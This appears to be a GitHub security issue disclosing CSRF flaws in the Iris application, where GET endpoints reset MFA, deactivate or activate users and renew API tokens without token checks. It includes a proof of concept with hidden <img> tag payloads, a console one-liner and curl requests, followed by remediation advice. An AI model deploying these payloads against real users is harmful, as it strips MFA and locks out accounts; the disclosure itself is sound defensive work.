Skip to content

[BUG] CSRF via State-Changing GET Endpoints Enables MFA Reset and Account Manipulation #1033

@octavia-writer

Description

@octavia-writer

CSRF via State-Changing GET Endpoints Enables MFA Reset and Account Manipulation

Description

Multiple state-changing operations in Iris are implemented as HTTP GET endpoints instead of POST. The CSRF protection mechanism only validates tokens for POST requests, leaving GET-based actions completely unprotected against cross-site request forgery attacks.

Affected endpoints:

  • /manage/access-control/reset-mfa/<int:cur_id> - Reset user MFA
  • /manage/users/deactivate/<int:cur_id> - Deactivate user account
  • /manage/users/activate/<int:cur_id> - Activate user account
  • /user/token/renew - Renew API token

Impact

An attacker can perform unauthorized administrative actions against authenticated users who visit a malicious page:

  • MFA Security Bypass: Reset multi-factor authentication for any user, removing a critical security control
  • Account Denial of Service: Deactivate administrator or user accounts
  • Unauthorized Account Activation: Re-enable previously disabled accounts
  • API Integration Disruption: Force rotation of API tokens, breaking automated integrations

These attacks require only that the victim visits an attacker-controlled page while logged in.

Technical Analysis

The vulnerability has two components:

1. CSRF validation bypassed for non-POST requests (access_controls.py:199-201):

def _is_csrf_token_valid():
    if request.method != 'POST':
        return True  # CSRF validation completely bypassed!
    # ... token validation only for POST

2. State-changing endpoints use GET method:

# manage_users.py:308
@manage_users_rest_blueprint.route('/manage/users/deactivate/<int:cur_id>', methods=['GET'])

# manage_users.py:330
@manage_users_rest_blueprint.route('/manage/users/activate/<int:cur_id>', methods=['GET'])

# manage_access_control_routes.py:51
@manage_ac_rest_blueprint.route('/manage/access-control/reset-mfa/<int:cur_id>', methods=['GET'])

# profile_routes.py:45
@profile_rest_blueprint.route('/user/token/renew', methods=['GET'])

Root Cause

Session cookies use SameSite=Lax, which permits cross-site GET requests via <img> tags and top-level navigation. Combined with the CSRF bypass for GET methods, any cross-origin page can trigger authenticated requests to these endpoints.

Proof of Concept

Prerequisites

  • Target must be authenticated as an administrator in Iris
  • Attacker must get target to visit a malicious page

Steps to Reproduce

Method 1: Direct URL (while logged in)

Paste this URL in the browser while logged into Iris:

https://Iris.meow.com/manage/users/activate/1

The action executes immediately without any CSRF token validation.

Method 2: Browser Console

While on the Iris dashboard, open DevTools Console and run:

new Image().src = 'https://Iris.meow.com/manage/access-control/reset-mfa/1';

Method 3: Cross-site attack page

<img src="https://Iris.meow.com/manage/access-control/reset-mfa/1" style="display:none">
<img src="https://Iris.meow.com/manage/users/deactivate/1" style="display:none">

Verified Exploitation

# All endpoints accept GET and execute state changes
curl -X GET "https://Iris.meow.com/manage/access-control/reset-mfa/1" \
  -H "Authorization: Bearer $TOKEN"
# {"status": "success", "message": "Updated"}

curl -X GET "https://Iris.meow.com/manage/users/deactivate/1" \
  -H "Authorization: Bearer $TOKEN"  
# {"status": "success", "message": "User deactivated"}

curl -X GET "https://Iris.meow.com/user/token/renew" \
  -H "Authorization: Bearer $TOKEN"
# {"status": "success", "message": "Token renewed"}

Remediation

  1. Convert state-changing endpoints to POST:
# Before (vulnerable)
@route('/manage/users/deactivate/<int:cur_id>', methods=['GET'])

# After (secure)
@route('/manage/users/deactivate/<int:cur_id>', methods=['POST'])
  1. Ensure CSRF validation applies to all state-changing methods:
def _is_csrf_token_valid():
    if request.method in ['GET', 'HEAD', 'OPTIONS']:
        return True  # Safe read-only methods only
    # Validate CSRF for POST, PUT, DELETE, PATCH
  1. Consider SameSite=Strict for session cookies if cross-site functionality is not required

  2. Add re-authentication for critical actions like MFA reset

Mitigation (Short-term)

  • Restrict admin panel access to trusted IP ranges
  • Implement Content Security Policy to limit where the page can be embedded
  • Add X-Frame-Options: DENY header

Verification

  1. Attempt GET request to /manage/users/deactivate/1 - should return 405 Method Not Allowed
  2. Attempt POST without CSRF token - should return "Invalid CSRF token" error
  3. Verify <img> tag cross-site requests no longer trigger state changes

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions